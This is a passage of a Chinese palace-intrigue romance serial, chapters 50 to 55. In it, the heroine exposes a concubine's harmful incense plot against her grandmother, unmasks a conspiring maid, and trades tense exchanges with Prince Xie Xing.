但谢行教她了一些穴位,按哪里让人使不出劲,让人最疼,还有力气小如何使巧劲迅速控制住别人。
都是适合时夏的,很实用。
“嘶!哎哟......”王氏疼的呲牙咧嘴。
“姨母还不回吗?”时夏语气里满是危险。
王氏咬牙:“别以为我不知道!老夫人**了!你们怀疑是我做的!我今日就是特意来证明清白的!”
“姨母,我们从未如此说过。”
“你们是没有说!但是所有人都可以进老夫人的屋子,就我不可以!”她有些激动:“只要让我今日就可以证明我的清白!”
说着,她又想往里面创。
结果当然是失败。
时夏的烦了,抓着她的胳膊微微往外甩。
王氏顿时重心不稳,摔倒在地。
“你!”她狼狈极了。
时夏却也不放过她:“既然姨母这般说,那我们就来好好谈论一下这事吧。”
她走下台阶,站在王氏面前,俯视着她。
视线逐渐挪到了王氏的婢女身上:“说吧。”
婢女瑟瑟发抖:“奴,奴婢......”
“别怕,她伤害不了你。”时夏安慰:“就像之前你同我说的那般就行。”
婢女跪下,不敢抬头,一边颤抖,一边带着哭腔开口:“姨娘......姨娘头上的簪花里有毒......”
第50章 这簪花没有毒
王氏大惊:“你胡说什么!”她怒瞪那婢女,甚至想要冲上去打她。
时夏微微抬眼,王氏不由得想到了刚才时夏抓她手时的力度,以及时夏周身释放出来的那股气势,只好收回了手,但嘴里依旧不停的叫嚷着:“你这个贱婢!胡说什么!”
那婢女颤抖得更加厉害,但也知道,现在只有时夏能保住她:“奴,奴婢说的都是真的,求小姐明鉴!”
王氏还想要继续说些什么,时夏却不给她机会:“送去母亲那里吧。”
-
大厅里,**坐在上方,时夏坐在她身侧。
王氏和那婢女如画一左一右的跪着。
空间安静极了,只有如画时不时传来的啜泣声。
半晌,管家恭恭敬敬的带着宋方林进来。
“时夫人,时小姐。”他微微躬身。
时夏连忙迎上前去,虚扶着宋方林:“宋医师不必多礼,本就是我们有事相求。”
她的目光投向如画。
如画颤颤巍巍开口:“那毒......就在姨娘的蓝色簪花里......”
“你胡说什么!”几乎是她话音刚落下,王氏就怒吼出来,甚至还伸手压着那簪花。
下一秒,她似乎也意识到自己的动作有些心虚,又收回手。
“夫人,妾怎可能做出谋害老夫人的事?而且妾好歹是女子,这当众取发簪......您让妾日后如何活呢......”她虽极力伪装出一副稳定的样子,但声音里微微的颤抖出卖了她。
“姨母不必担心。”时夏使了个眼神,兰香便将门给关上了。
屋内光线有些黑暗,只剩下烛火摇晃。
时夏趁着王氏还未反应过来,便眼疾手快的摘下那簪花,递给宋方林:“劳烦宋医师了。”
王氏大惊失色,却又无力反抗:“小姐!夫人!你们,你们不要被这贱婢蛊惑了!”她气急,推了一把如画,如画狠狠摔倒在地上:“都是这贱婢!她想要陷害我!”
“王氏。”**蹙眉,语气带着些警告。
王氏虽还想再说些什么,却又只好乖乖跪回去。
宋方林拿着那簪花仔细观察,又拿出木箱里的工具,反复检查,眉头越皱越紧。
“宋医师,如何了?”时夏见宋方林把工具放回去,开口询问。
“这簪花没有毒。”宋方林开口。
“你看!我就说吧!都是这贱婢!”王氏松了一口气,随即便恨恨的又要冲上去打刚刚才从地上勉强起来的如画。
“虽无毒,但却是导致老夫人晕倒的直接物品。”宋方林又开口。
王氏的动作僵住,随即破口大骂:“你胡说!我没有!一定是你和这贱婢商量好了,想要陷害我!”她的表情狰狞,可怕极了。
“安静!”**怒目:“来人,先把王氏带去祠堂,等待调查。”
王氏拼命挣扎:“不!不是我!”
她一边大喊,一边挣扎,但也是徒劳。
时夏拉起还跪着的如画:“如画,说说这到底是怎么一回事吧。”
王氏离开,如画显然放松了许多,只是声音还有些小:“前段时间......姨娘上街,偶遇到一卖货商人,那商人说了几句话......姨娘便满心欢喜的买下了那熏香,且让妾日日都用那熏香来整理头饰......”
“说了什么?”时夏眼眸一凝。
“他说,他说这熏香对普通人无毒,但老人若长时间吸此香,身体便会逐渐变弱......”
“这个王氏!”**忍不住用力拍了一下木椅扶手,显然是气急了。
“现下王氏的事还需调查,你便先到我屋里吧。”时夏看向如画。
如画大喜,显然没有想到时夏会这样安排。
府里谁人不知,时夏屋里是待遇最好的,活又轻松,赏钱多,而且时夏人还好相处。
“多谢小姐!”说着,她就又要跪下,给时夏磕头。
时夏连忙阻止她:“快些去收拾东西吧。”
-
王氏的事情还在调查,虽说找出了老夫人晕倒的原因,但如画说这是王氏与那商人说了几句话后买下的那熏香。
这自然不可能是个巧合。
王氏也不可能莫名其妙的买下这熏香。
但老夫人的情况并没有好转,
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依旧卧病在床。
调查那商人,也进展的十分不顺利。
想要在偌大的京城中,找寻一个人,实在是很有难度。
“小姐。”兰香忧心的看着时夏。
今日天气并不好,天色阴沉沉的,乌云密布,随时会有一场暴雨降下。
“王爷那边可有线索?”时夏在亭子里,目光穿过花草,远眺出去。
“王爷说今夜在后门见。”
时夏点了点头,闷热的天气,总让人有些烦躁。
-
“王爷。”夜色已深,时夏换了一身方便行动的衣服,来到后门时,谢行已经倒了。
“嗯。”男人的回应隔着马车传来:“上来吧。”
时夏上了马车后,马车便缓缓出发,摇摇晃晃离开。
马车驶向的地方越来越偏僻,逐渐进入了一片树林。
树木越来越密集,马车不再方便行驶,二人也不犹豫,干脆利落的下马车。
谢行在前带路,时夏跟在后面。
很快,木林深处是一木屋,蜡烛照亮着木屋,木屋的主人似乎在忙碌着些什么,时不时传来两声敲击碰撞的声音。
时夏脑中闪过一丝什么,看向谢行,一个肯定的眼神从谢行眼中传来。
时夏敛神,小声开口:“王爷,我们现在......”
谢行没有说话,挥挥手,几个暗卫不知从何处飞来,将木屋远远包围了起来,既不会很显眼,又安全。
谢行这才上前,走到门口,“叩叩”两声:“您好,有人吗?”
那敲击声一顿,没有回话,树林里一片寂静,只偶尔传来两声虫鸣。
“我们进京寻人,但半路遇到山匪,带的干粮财务都被抢光了。”时夏解释:“偶然经过,想问问您这里是否方便借宿一晚,您放心!等我们入京之后,定然会备好东西,登门道谢!”
那人依旧没有说话。
半晌,终于有了动静:“没有房间。”一道苍老的声音传来。
“那老先生您是否有茶水?我们已经整整一日未进食了,实在是有些熬不住了。”时夏现在的嗓子的确有些干,显得真实许多。
第51章 不错,有长进
门突然被打开,一张苍老的面容映入。
他似乎很不耐烦,但还是递出两杯茶水,只是面色有些冷。
“多谢!”时夏惊喜。
二人接过茶杯,一饮而尽:“多谢,不知老先生怎独自住在这里?”
那人并没有回答,接过茶杯就要再关上门。
却杯谢行伸手抵住:“我们恰巧路过此处,不知这是何地?先生可愿带我们去大路上?”
老人犹豫了一瞬,又似乎是想起了什么,终是点头。
“多谢!”时夏笑。
于是,老人简单收拾了一下屋子,便带着二人出门去。
夜色深,林中并不好走路,三人走得很慢。
时夏自来熟的和老人说着话:“您可不知道,我与兄长家中出事,本是入京寻人,可谁知......”
她编得仿佛真有这回事般。
走着走着,老人突然猛地停下。
“这是怎么了?”时夏疑问。
在她话音落下得一瞬,雷声大作,闪电将天空打得雪亮。
光芒也映照到了老人脸上,面色狰狞的盯着时夏,脸上还有几道疤痕,可怕极了。
他眼神一变,就往时夏脖颈袭去,时夏应声倒地。
谢行接住晕倒得时夏:“您这是......”
老人并未理他,取而代之的是拳头。
谢行一手揽着时夏,躲避那人的拳头,似乎显得有些费力。
有好几下都被重重打到。
谢行一边躲一边退,终于,退无可退,后背抵在了一颗树上。
老人冷笑一声,又晦气拳头。
眼看着就要打到谢行,刚才一直昏迷的时夏却突然张开眼睛,冷着脸,一把**狠狠扎进他的手,又被狠狠抽出,鲜血迸出。
谢行也不再退,气势一改,一下便擒拿住那老人。
老人被狠狠压在地上,掌心还渗着血,眼里满是不可置信。
明明时夏已经晕倒了!
明明这男子不会武功啊!
谢行没有浪费时间与他对话,刚才这番只不过是为了拖时间罢了,三两下将人捆好。
“不错,有长进。”谢行夸赞。
她的脸颊上还有几滴血,红色在白嫩脸颊上显得格外明显。
“多亏了王爷。”时夏的目光投向远处阴影,今天的计划,很是成功。
二人带着老人又回到木屋。
“殿下。”几个暗卫行礼。
“如何了?”
“已经按照殿下的安排,这是从他们身上扯下的。”暗卫递出一枚玉佩。
“好。”谢行将人丢给暗卫:“带回去。”
几个暗卫瞬间带着人消失。
“王爷为何要将人放走?”时夏这才开口。
“时小姐这般聪明,不会不知道他们背后牵扯着多方势力吧。”
“难不成王爷怕了?”时夏打趣:“王爷也不敢一个人和他们对峙?”
谢行轻笑:“本王要的,是一网打尽。”
“轰隆!”雷声再次响起,这次不再只是声音,伴随而来的,还有雨水。
下午那场雨终于在夜晚降下,夏日的雨大,来势汹汹。
豆大的雨水毫不矫情打在人脸上,打得肌肤有些疼。
谢行取下身上的薄披风,扔在时夏的头上,时夏顿时陷入一片黑暗。
周围只有雨水声,披风上独属于谢行的清香,以及谢行淡淡的声音:“走了。”
然后她便赶紧腰上一紧,随后便是失重感。
是谢行搂着她,用轻功赶路。
三两下的功夫,便到了马车旁,兰香正一脸焦急的等待着。
看着被披风盖着的时夏,她似乎愣了一下,才赶忙迎上去,扶着时夏:“小姐?”
时夏扯掉改在头上的披风,晃了晃有些晕乎的脑袋,面无表情:“无事,上车吧。”
马车上,时夏将披风叠好:“多谢王爷,清洗过后我派人给您送去。”
“嗯。”
时夏又突然想起什么:“王爷,您的伤......无事吧?”
谢行停了一瞬,才淡淡开口:“无事。”
时夏点点头,也是。很是相信,毕竟谢行这么厉害,刚才也只是为了让那人放松警惕。
很快,时府到了。
夏天的雨来得快,去的也快。
时夏今晚做了太多事情,加上时间本就很晚了,她已经困得不行,
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走下马车,象征性的冲谢行打了个招呼,便往府里走去。
谢行在马车里,轻轻触碰了一下被那人打过的地方,不疼。
可为什么,他揽过时夏的那只手,有些滚烫?
-
翌日,一大早,嬷嬷就急急忙忙来找时夏:“小姐!不好了!老夫人,老夫人她!”
“怎么回事!”时夏连鞋都顾不得换,便要往屋外跑。
“小姐!”兰香看了一样一旁的如画:“你,拿着梳洗的衣物,和我一起过去!”
说完,便也直直的追着时夏跑去。
如画赶到老夫人屋门口时,大门正紧闭着,只隐隐约约传来时夏的啜泣声。
“祖母......”时夏本就声音软,染着哭腔,更是惹人怜惜。
如画轻轻叩了叩屋门。
“何人?”时夏吸了吸鼻子,也压不下哭腔。
“三小姐,是我,如画。”如画柔声开口:“兰香姐姐让我将您的衣物拿来。”
“在门外候着吧。”时夏并没有让她进去。
“......是。”如画之后往后退几步,拿着衣服,站在屋门口。
可时间一分一秒过去,时夏都没有唤她。
太阳也逐渐变大了。
昨日下了雨,今日天上连云都没有几朵。
太阳毫无遮挡的打在人的身上,炙热滚烫。
不知过了多久,如画赶紧人已经有些飘飘然了,时夏才打开屋门。
可却已经穿戴整齐。
被太阳晒了好几个时辰,连水都未进一口,如画已经大脑已经不太清醒了。
她看着门口的时夏,下意识开口:“三小姐?”
“如画,你昨日去了何处?”时夏直接开口。
如画却是如遭雷击,刚才还迷蒙的大脑,现下却是瞬间清醒:“小,小姐您在说什么?如画昨日早早便睡下了啊......”
“哦?”时夏挑了挑眉,随后缓缓往侧边走了几步,门口正中的位置,留了出来。
如画不明白时夏是什么意思,但心中莫名有一种慌张。
只见,几秒钟后,雍容华贵的老太太出现在门口,妆容精致,气色也好极了。
第52章 你倒是大胆。
如画不敢置信,瞪大双眼,下意识呢喃:“老夫人......”
老太太冷笑一声:“怎么,很意外?”
如画回过神来,赶紧摇头:“没,没有,只是奴婢没想到老夫人身体恢复得这般快,有些惊讶......”
她低下头,一副乖巧极了的样子。
“好了。”时夏懒得再耗费时间与她斡旋,直截了当开口:“昨夜,你去哪里了。”
“小姐在说什么?奴婢昨夜一早便睡下了呀,大家都知道的。”她的语气无辜极了,面色也稳得多,比王氏心态好上不少。
“兰香。”时夏开口。
兰香微微一笑,从旁端出一个盒子,扔在如画面前:“自己看看吧。”
如画小心打开,里面赫然是一双沾了泥土的绣鞋。
“小姐这是何意?”如画依旧问:“这不过是一双鞋子啊。”
“呵,只是鞋子吗?”时夏冷笑:“这鞋子是昨日府内才统一发的,你昨日一直在院子里打扫卫生,是何时沾上这些泥土的?”
“奴婢知道小姐爱花,无事时,便去花园里照料了一下花草。”如画回答的自如:“奴婢只是想着小姐近日忙碌,没有时间照顾花草,是小姐救了奴婢,给了奴婢新生,所以想为小姐分忧。”
她抬头,脸上是一双杏眼,就这么一眨不眨的看着人,真诚极了。
“哦?那你这样说,是我误会你了,你昨夜未曾出去?”
“奴婢只是想为小姐分忧。”她眼神真挚。
“带上来吧。”时夏没有回答如画。
很快,两个人扶着王氏出现,这段时间王氏都一直呆在祠堂里,每日为老夫人抄经颂佛,每日还有专人检查,若是质量或数量不达标,便不能休息。
所以王氏哪怕第一日反抗个不停,后面也逐渐老实了。
这段时间的辛劳,加上没有好好休息,她可谓是和从前的模样大相径庭。
从雍容华贵到面黄肌瘦,并不需要太长时间。
可哪怕是这般憔悴无力了,王氏看见如画的那瞬间,也仍然猛地来了精神:“**!”
她咒骂着,挣扎着。
时夏挥挥手,两个小厮稳稳的将她控制住,就在如画旁边。
“小姐?”如画看到王氏似乎害怕极了,整个身体都在控制不住的发抖。
“别急。”时夏看着远处:“喏,来了。”
只见尽头,一个老人被押着往这边走。
如画的心里第一次出现了些许慌张,但她心态好,面上一点变化都没有。
一旁的王氏可就不同了,看到那人,更加激动起来。
“是他!就是他!”王氏疯狂咒骂起来:“都是他!都是他让我买的!”
老人蓬头垢面,和昨天夜里想必,可谓是两副模样。
“如画?怎样,看着眼熟吗?”时夏往如画那里靠近走了两步。
“奴婢不懂小姐在说什么。”如画虽心知时夏什么都知道了,但还是咬牙坚持。
“不懂吗?可我看,你们手上......都有一样的印记呢。”说着,时夏一把撩起如画胳膊上的衣料,上面赫然是一个奇怪的符号。
而这符号,那老人的胳膊上也有,一模一样,连位置都相同。
如画也不再挣扎,更多的是无所谓的态度,语气也不再懦弱:“那又如何?失败的只是我。”
她的语气里满是势在必得,还有些癫狂:“成功终将是属于我们的。”
说着,她便不知道从哪里掏出一把**,要往时夏胸口扎去。
“啊!”
“小姐!”
众人皆未想到如画会要直接刺向时夏,场面顿时乱作一团。
但时夏好歹还是在谢行手下学习了这么一段时间,微微侧身,躲开了那**。
但两人距离太近,即便她反应得这般快,胳膊上还是不可避免的被划破,鲜血顿时渗透衣裙,显露出来。
“嘶!”时夏皱着眉头,下意识用另一只没有受伤的手捂住胳膊。
还挺疼。
时夏成功躲开这致命一击,一旁的小厮们也都反应过来,将如画押住。
“把这两人都交给景王。”
“夏夏!你这伤快
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些处理了吧。”老太太担忧的紧,眼睛都有些红了,她恨不得这伤是在自己身上。
夏夏本就被养的娇气,怕疼得很,那如画一看就是下了死手,不知得多严重!
“嗯,祖母放心,我这就回去处理。”时夏浅浅笑了笑。
这件事情终于处理完,算是暂时告一段落,时夏心里也终于是放松一些。
“三小姐,你看!我说了这件事和我无关,都是那贱婢!还有那个死老头!”王氏见这情况,又跳出来,憔悴的脸上终于露出笑容。
时夏停下脚步,转过身,脸色不太好:“你觉得,我会不知道你到底为何买下那熏香?”
王氏刚才还得意的笑容微微僵住:“我......”
时夏不再理睬她,毫不留情转身离开。
时夏一手捂住伤口,一边微微倚靠着兰香往自己得院子走去。
不知是不是错觉,她感觉头越来越重,脚步也越来越虚浮。
她心里一惊,脚下更换方向,往后门走去。
“送我去找王爷,快!”终于,走到了后门,时夏强撑着说出这句话,随后便是一片黑。
-
“你倒是大胆。”男人居高临下的看着时夏,表情冷漠。
时夏穿着性感的衣裙,薄纱半露,坐在床上。
“夫君......”她下意识开口。
男人哼笑一声,俯身靠近,强势的气息席卷而来,将时夏笼罩得满满当当。
安静得夜里,时不时传来女人得啜泣和低吟,还有......男人的闷哼。
时夏猛地睁开眼,脸颊绯红。
“你倒是大胆。”熟悉的话,熟悉的声音。
让时夏有些怔愣,她环视周围,透着一股陌生。
谢行站在一旁:“怎么?不记得了?”
时夏的思绪这才逐渐回笼,她垂眸:“今日多谢王爷。”
想必是她晕倒后,兰香便将她送去找谢行了。
“小姐可别谢他,得谢我。”安歌端着一碗药进屋,笑着开口:“王爷顶多也就将您带了回来,可什么忙都帮不了。”
第53章 是不敢,还是不想
“安歌姑娘。”时夏笑了笑:“那多谢安歌姑娘了。”
怪不得这地方如此陌生,想来是郊外的院子吧。
她只是会来这里习武,至于房间,除了换衣服时,她从未进来过。
“时小姐可别与我客气。”安歌将药碗端到时夏面前:“快些喝了吧。”
那汤药浓黑,都不需要靠近,一股苦味就直直地冲入鼻腔。
时夏接过汤药:“多谢。”可手上却一直未有要喝地意思。
“还不喝?”谢行盯着她。
时夏微微僵了一下,转移话题:“今日......”
“先把药喝了。”谢行打断她。
时夏无奈,目光看向兰香,有些求助,兰香点了点头,时夏这才深吸一口气,屏气凝神,端着碗一口猛地喝下去。
瞬间,喉中弥漫着苦味,不断刺激着味蕾,苦得时夏整张脸皱起。
猝不及防间,一颗蜜饯被塞入口中。
虽未能完全盖过苦味,但也压下不少。
时夏下意识认为这是兰香给她准备的:“兰香,我还要吃。”
带了几分撒娇的意味。
果不其然,下一颗蜜饯也被塞入她嘴中。
终于,苦味逐渐被蜜饯取代,时夏也不再皱着脸。
只见兰香一脸的担忧,安歌则是有些调侃的神色,时夏有些迷茫。
视线移到谢行身上,他手中拿着一包纸袋子,上面隐隐约约写着王氏蜜饯。
时夏顿时如遭雷击,所以刚才喂她吃蜜饯的不是兰香,是谢行?
她刚才也是在对着谢行撒娇?
时夏两眼一黑,恨不得再晕过去。
谢行一把将蜜饯袋子扔给她,转身,扔下一句话:“收拾好了就出来。”
随后便消失在房间。
时夏撇撇嘴,忍不住问安歌:“安歌姑娘,你是如何受得了他这脾性的啊?”
这么貌美的姑娘,日日只能被谢行养在外面,还要忍受他的脾气,真是......
“时小姐直接叫我安歌就好。”安歌似乎有些迷茫:“王爷的性子,不是我能说的啊。”
此话一出,时夏对安歌的心疼更甚。
这谢行,将人养在外面,居然连人家发脾气的权力都不给。
安歌被时夏的目光看得有些莫名,但还是提醒:“时小姐,王爷在外面等着你呢。”
时夏点点头,叹息一声,才准备收整一下,出门:“你以后唤我夏夏吧。”
安歌的命运和上一世的自己有何不同呢?只是她比较幸运,可以重来。
谢行并没有走远,就在院子里等着她。
时夏一打开屋门,就能看见谢行挺立的背影。
“王爷。”时夏抬步,缓缓走过去。
“嗯。”不知是不是时夏的错觉,她总感觉谢行声音有些冷冷的。
“今日多谢王爷了。”
“时小姐倒是厉害。”他眸色幽深:“昨日刚抓到人,今日便急急忙忙的去处理。”
时夏这回明显的感觉到了谢行话中的刺,他在讽自己做事思虑不周全。
她承认,她这次确实是着急了,但她并不认为有错。
试问,谁的亲人遇到这样的事情,能平静得下来呢?
“若不是宋方林在,时小姐怕是现在不知在何处了。”没有得到时夏得回答,谢行的声音更冷了几分。
“臣女自然会感谢宋医师的救命之恩。”沉默半晌,时夏只憋出了这样一句话。
“行。”男人似乎是被时夏的话气笑了:“你就找他去吧。”
“不过还得多亏了王爷,王爷愿与臣女合作,帮了臣女许多忙,这次更是救下了祖母和臣女的性命,王爷对臣女的帮助,臣女都记在心中的。”时夏也知道说些好话,毕竟男人帮了她不假。
这话似乎起了些作用,男人的脸色没有那么难看了。
“来书房。”说罢,谢行就率先朝前走去。
时夏撇撇嘴,还是跟了上去。
此处书房的规格和王府的书房差不多,甚至还要大一些。
时夏忍不住有些发神,不知道......时家的信息,是不是在这书房里藏着?
她的愣神被谢行发现:“怎么?时小姐又想找个机会来参观本王的书房?”
“臣女不敢。”时夏瞬间回神,连忙垂首。
“是不敢,还是不想。”明明谢
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行是坐着,时夏是站着。
可谢行的气势却释放无遗。
时夏沉默,没有说话。
“坐吧。”半晌,谢行淡淡开口。
-
从谢行那处回来时,天色已经有些晚了。
时夏心里有几分凝重。
她以为时家很平静,其实已经有无数双眼睛在盯着时家。
而未来,时家的突然遭难,自然也是由许多人联手造成的。
现在许多事情都提前发生了,她不知那一天何时会来,可能就在明天。
她必须得提前做好准备。
-
“世子?”翌日,时夏刚起床,便有人通报,燕尘来府上了。
时夏有些奇怪,燕尘和大皇子一直在掩藏能力,虽说不用上朝,但按道理他们应该一直在暗中散布自己的势力,否则后面怎可能与谢行争斗?
时夏眉目一动,大皇子是想拉拢时家?
“简单收拾一下就行,别人世子久等了。”时夏看这镜子里的自己,对兰香说着。
很快,兰香便帮她梳洗完毕。
时夏往大厅走去,燕尘已经坐下了,不知等了多久:“世子久等了。”
“怪我,突然来访,未提前与时小姐说。”燕尘笑。
“世子可别这样说。”时夏端起一杯茶:“不知世子今日是有何事?”
“我听闻......时小姐昨日受了伤?”
时夏点点头:“不过是些小伤罢了,不影响的。”其实她的左手手臂今天都还不敢怎么动,也不敢用力,稍稍动一下,就疼的她呲牙咧嘴,就连今日穿衣服都不方便。
“我在外游历时认识一奇人,最擅长制作各种药。”燕尘补充:“近日他正巧来京城,时小姐不若去看看?否则,留下疤便不好了。”
“多谢世子的好意,不过臣女这只是小伤罢了,昨日也已经处理过了。”时夏婉拒。
“时小姐不必客气,这机会可是可遇不可得。”燕尘并不给他拒绝得机会:“我都约好那人在食鼎楼见面了。”
时夏无奈,只好笑笑:“那便有劳世子了。”
两人刚到食鼎楼,只听里面一阵喧嚣,杂乱极了。
第54章 是一位我很敬仰的兄长
“这是怎么了?”时夏皱眉。
燕尘对着身旁的小厮使了个眼色,小厮立即进去查探情况。
很快,那小厮便回来了:“世子,是李公子与人发生了矛盾。”
时夏皱眉,又是李家。
上次也是李家那几个小孩乱说话,和时煜打架,那李公子当时还想包庇他们。
时夏对李家几人印象都不好,她记得,前世时家出事,也是李家闹得最欢腾。
想来,时家的事情,和李家脱不了干系。
“又是李公子?”燕尘皱眉,时夏第一次在燕尘一向温和耐心的脸上看到了厌烦。
她有些惊讶:“世子与李公子......”
燕尘低了低头:“都是些陈年旧事罢了。”他转换了话题:“看来近日不宜在食鼎楼,时小姐不介意的话,不若去在下府上?”
都跟着来了这里,时夏自然不会不给燕尘面子:“有劳燕世子了。”
“请。”燕尘微微一笑。
两人转身,刚准备上马车,却听到一道声音:“燕世子?”
低沉如墨的声音,不是谢行又会是谁呢?
“景王?”燕尘有些意外:“竟不知景王也在此处。”
“正巧有些事要办。”谢行的目光移向时夏。
时夏还未来得及说话,燕尘便抢先一步开口,向谢行介绍起来:“王爷,这是时家三小姐。”
“哦?”谢行含笑的声音响起,时夏敏锐的感觉到了声音里的一丝危险。
她抬首,对上谢行的目光,里面满是幽深。
“好巧,景王殿下。”时夏撑起勉强的笑容。
她也没有想到会在这里遇到谢行,明明她和燕尘的确什么都没有,可由于之前的事,还是有一股莫名的心虚。
“的确,好巧,竟然能遇到时小姐和燕世子一起。”到那最后两个字,他语气重了几分。
燕尘笑:“听闻时小姐受伤,正巧我有幸结识了一位医师,便想着可以带时小姐去看看。”
“世子真是好心。”谢行夸赞。
“毕竟是看着长大的妹妹嘛。”他客套道:“王爷现下可有空?不若也去府上坐坐?”
“也可。”谢行似乎是勉强答应了燕尘的邀请。
燕尘一顿,似乎并没有想到谢行真的会答应,又扬起笑容:“王爷请。”
时夏则是在心里默默叹了一口气,她就知道。
路上,时夏坐在正对着前方的位置,谢行和燕尘分别坐在两个窗户那边,面对着面。
本还算宽敞的马车,坐上三个人,显得逼仄极了。
好一副尴尬的场景。
终于,燕王府到了。
时夏默默在心里松了一口气。
“人可到了?”燕尘偏头询问小厮,得到小厮肯定的答复后,才又笑着开口:“这边请。”
行至半途,燕尘又看向谢行:“不若王爷先堂厅稍等片刻?医师需专为时小姐制药,恐怕需费些时间。”
“无妨,本王也好奇这医师,且今日也无甚要事。”
“......好。”燕尘点点头。
谢行上前两步,硬是把本和燕尘并排走着的时夏挤到了后面些:“燕世子在外结交了不少人。”
“都不过是些玩乐的朋友罢了,不必王爷这些年在京中的建树。”
两人就这么聊着,时夏默默跟在后面。
很快,到了偏殿,一个穿着破烂的男人在里面。
时夏有些迟疑:“世子......这是?”
“这位便是我说的......奇人。”燕尘似乎已经**以为常,但在介绍时,还是犹豫了片刻。
“世子?”那人嘿嘿一笑:“这位便是时小姐吧,我姓白。”
“白先生好......”时夏笑:“今日多有打扰了。”
“世子的朋友就是我的朋友!”他又在嘿嘿。
时夏有些怀疑这人的精神状态,是不是正常人了。
“时小姐快坐。”燕尘看出时夏的尴尬,解围:“他这人就是这样,但医术确实是没得说的。”
时夏点点头,表示理解。
“这位小姐是怎么了?”
“我朋友被**割伤了,我记得你之前配的去疤的药很有用
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,就想着你能不能再配些。”燕尘替时夏解释。
“这简单!”他挥挥手:“我这里还有一瓶,你拿去。”
“多谢......白医师。”时夏接过。
“不过......我还是第一次见世子有女性朋友,你们......”他眼里闪过精光,兴趣盎然。
时夏脸上划过一丝尴尬,下意识看向谢行。
谢行却是对着她挑挑眉,没有说话,似乎等着时夏自己解释。
无奈,时夏只能开口:“世子一直是我很敬仰的一位兄长。”
他似乎觉得有些没意思,点了点头,没再说话。
“今日多谢白兄了。”燕尘眼底划过一丝暗芒,作揖:“我先带着他们去逛逛。”
白医师挥挥手,背过身,没有理他们。
燕尘一边带着两人出去,一边解释:“他这个就是这样,医术好,可惜脾性古怪。”
“本来前些日子,我想着让他去给时老夫人看看的,可谁知他给自己占卜了一卦之后,便死活不肯去了。”燕尘叹气。
“无事的,如今祖母身体也已大好,且世子不是也送了好些东西来。”太阳有些大,时夏一手抬起,试图用浅色的团扇挡太阳。
忽然,眼前的光线变弱,一片阴影投下。
不知何时,走在她身后的谢行走到了前方,太阳打下的影子正好和时夏的位置重合。
虽不会太解暑,但也比太阳直接晒着要好上许多。
时夏低头,观察着谢行的影子,走路随着谢行的影子位置而变动着。
倒是一番好景像。
突然,影子停下,时夏猝不及防,撞上了前面的人。
小巧精致的鼻子猛地撞在男人坚硬的胸膛上,不知何时,谢行停下,且已经转过来身。
就这么看着她用影子躲避太阳。
疼痛瞬间让生理性的眼泪流出,时夏捂住鼻子。
谢行本还想笑她,可见时夏的泪水流出,顿时也有些无措。
他刚伸手,却见燕尘抢先一步,递出了一张干净的手帕:“时小姐可有大碍?”
第55章 我想见世子哥哥
时夏摆摆手,没有接过手帕,只是用自己的手捂着鼻子:“无事。”
只是声音还听得出一些鼻音,可怜极了。
谢行却直接伸手,抓住她的手,露出一直被挡着的鼻子,倒是没有流血。
就是红了,但在她白皙的皮肤上,显得格外可怜。
时夏没有想到谢行会直接上手,不禁愣住,眼睛一眨不眨。
“回去敷一敷。”谢行淡声。
时夏点点头,呆愣的“哦”了一声。
吃完饭,二人便准备离开。
燕王府门口,时夏刚准备上自己的马车,就被谢行拦下。
“王爷?”时夏有些懵,不明白谢行拦下自己做什么。
“正好可以先去京郊那边。”谢行开口。
“啊?”时夏看了看天,时间还早啊,距离时煜下学还有接近两个时辰呢。
“先去。”谢行又开口。
时夏不明所以,又想着祖母的事情毕竟是谢行帮了她,点点头:“好。”
很快,马车便到了京郊的房子。
“时小姐。”时夏有些懵,怎么宋方林也在这里?
“宋医师好。”身体比大脑先一步的行了礼。
谢行淡淡撇了一眼宋方林,宋方林立即反应过来,笑着开口:“之前忘了,老夫这有一药,时小姐只需每日早晚涂抹,定不会留下疤。”
说着,他从布袋子里掏出一个瓶子,递给时夏。
时夏有些懵,但还是伸手接过。
“把那瓶药给我。”谢行淡声开口,语气不容拒绝。
“王爷?”时夏下意识后退两步。
“给我,你用的这般放心?”谢行挑眉,质疑。
时夏沉默,的确。
她虽并不觉得燕尘会害她,但谁能保证燕尘在外游历时认识的人就一定是好人呢?
若是有心人特意安插在燕尘身边,那若是出了什么事情......
这样想着,时夏将目光投向兰香,兰香立马拿出药瓶,递给谢行。
谢行收下药瓶:“你先用着这药。”
“多谢王爷。”时夏自然不会拒绝谢行让宋方林给的药。
毕竟,谢行那里,怎么会有坏的东西呢?
“走吧。”谢行率先往里面走去。
经过花园时,却没有向他们平时习武的地方走去,转而去了另一边。
时夏有些奇怪,但也没有问,谢行做事,自有他的道理,这点时夏还是明白的。
而且,多问多错。
若是不小心惹得谢行不高兴了,可就得不偿失了。
走着走着,时夏发现有些熟悉,直到谢行停在了一间屋子门口。
时夏这才恍然大悟,这不是她上次受伤晕倒,醒来的屋子吗?
“王爷?”时夏有些奇怪,来这里作何?
“王爷。”下一秒,安歌出现,端着一个盘子,上面竟然是一块块冰,还冒着寒气。
“夏夏,快些进去吧。”她笑着推开门。
时夏也反应过来这是谢行安排的,虽然她的鼻子还有些微微酸痛。
但她自己都快忘了这回事了,没想到谢行还特意找人送了冰过来。
要知道,哪怕谢行是皇帝最看重的儿子,这冰也稀有的紧,更别说现在都还未正式进入夏日。
谢行居然能在夏日拿出冰来,仅仅是给她冰敷被撞了一下的鼻子。
不过,这本就因谢行而起,且她和谢行是合作关系,谢行愿意付出这个,说明她不止是这样的价值,这样想着,时夏心安理得多了。
“多谢王爷。”不过,样子也是得做做的。
时夏大大方方的冲谢行笑了笑,随后才转身,跟着安歌进去。
她坐在凳子上,安歌怜惜的看着时夏,忍不住帮时夏抱不平:“王爷也真是的。”
她拿手帕包裹好两块小的冰块,轻轻在时夏的鼻子上敷着。
时夏有些不好意思:“劳烦安歌姑娘了,不若我自己来?”
“夏夏不必跟我客气,你自己可看不到鼻子,我帮你敷更好些。”她佯装生气:“而且,上次夏夏不是答应,唤我安歌,怎的又开始安歌姑娘的了?”
时夏羞涩的笑了笑:“那就谢谢安歌啦。”
安歌也笑了笑,手上动作不停。
-
“时姐姐!”时夏本在指尖织视察情况,一声甜美声音传来。
